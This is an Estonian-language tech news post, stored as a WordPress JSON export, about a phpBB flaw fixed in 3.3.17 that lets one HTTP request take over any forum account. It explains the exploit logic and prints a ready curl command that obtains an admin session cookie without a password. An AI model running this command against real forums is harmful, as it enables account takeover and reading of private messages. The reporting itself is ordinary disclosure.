{"id":182030,"date":"2026-06-12T02:48:17","date_gmt":"2026-06-12T00:48:17","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-phpbb-pozvolyayushhaya-poluchit-dostup-k-lyubomu-akkauntu-bez-autentifikaczii"},"modified":"2026-06-12T02:48:17","modified_gmt":"2026-06-12T00:48:17","slug":"uyazvimost-v-phpbb-pozvolyayushhaya-poluchit-dostup-k-lyubomu-akkauntu-bez-autentifikaczii","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/novosti-interneta\/uyazvimost-v-phpbb-pozvolyayushhaya-poluchit-dostup-k-lyubomu-akkauntu-bez-autentifikaczii","title":{"rendered":"Viga phpBB-s, mis v\u00f5imaldab saada juurdep\u00e4\u00e4su igale kontole ilma autentimiseta","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

phpBB foorumite loomise tasuta mootoris avastati t\u00f5rge, mis v\u00f5imaldab \u00fche HTTP-p\u00e4ringu saatmisega \u00fchendada mis tahes foorumi kasutaja seansiga. T\u00f5rge ilmneb phpBB vaikeseadistustes. Probleem on lahendatud phpBB versioonis 3.3.17.<\/p>\n

R\u00fcnnates tavas kasutajaid, on v\u00f5imalik p\u00e4\u00e4seda juurde privaatsetele vestlustele ja saata s\u00f5numeid kasutaja nimel. R\u00fcnnates moderaatoreid ja administraatoreid, saab kustutada teiste s\u00f5numeid, vaadata IP-aadressid<\/a> ja e-kirju, lugeda privaatsete vestluste sisu, kuid ei ole v\u00f5imalik siseneda administraatori liidesesse ega saada juurdep\u00e4\u00e4su hostimisele. <\/p>\n

Haavatavuse kohta ei esitata detaile, kuid AI abil on juba loodud ekspluateerimismeetod, mis p\u00f5hineb \"login_link\" t\u00f6\u00f6tleja kutse tegemisel ja autentimismeetodi \"auth_provider=apache\" seadmisel, ning loogika sisestamisel l\u00e4bi Basic Auth. P\u00e4rast seda seob PHP keskkonnamuutuja \"PHP_AUTH_USER=login\", mille phpBB t\u00f5mbab v\u00e4lja admin kasutaja logi ilma parooli kontrollimata. N\u00e4iteks, et saada admin kasutaja seansi ID ja salvestada see faili cookies.txt, v\u00f5ite k\u00e4ivitada j\u00e4rgmise koodi:<\/p>\n

curl -i -s \\
\n -c cookies.txt \\
\n -b cookies.txt \\
\n -u 'admin:anything' \\
\n -d 'login=Login&login_username=admin&login_password=anything' \\
\n 'https:\/\/target.example\/forum\/ucp.php?mode=login_link&auth_provider=apache&login_link_any=1'
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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Haavatavus ilmneb phpBB vaikimisi konfiguratsioonis. Probleem on parandatud versioonis phpBB 3.3.17. Tavalisi kasutajaid r\u00fcnnates on v\u00f5imalik p\u00e4\u00e4seda ligi privaatsetele vestlustele ja saata s\u00f5numeid kasutaja nimel. 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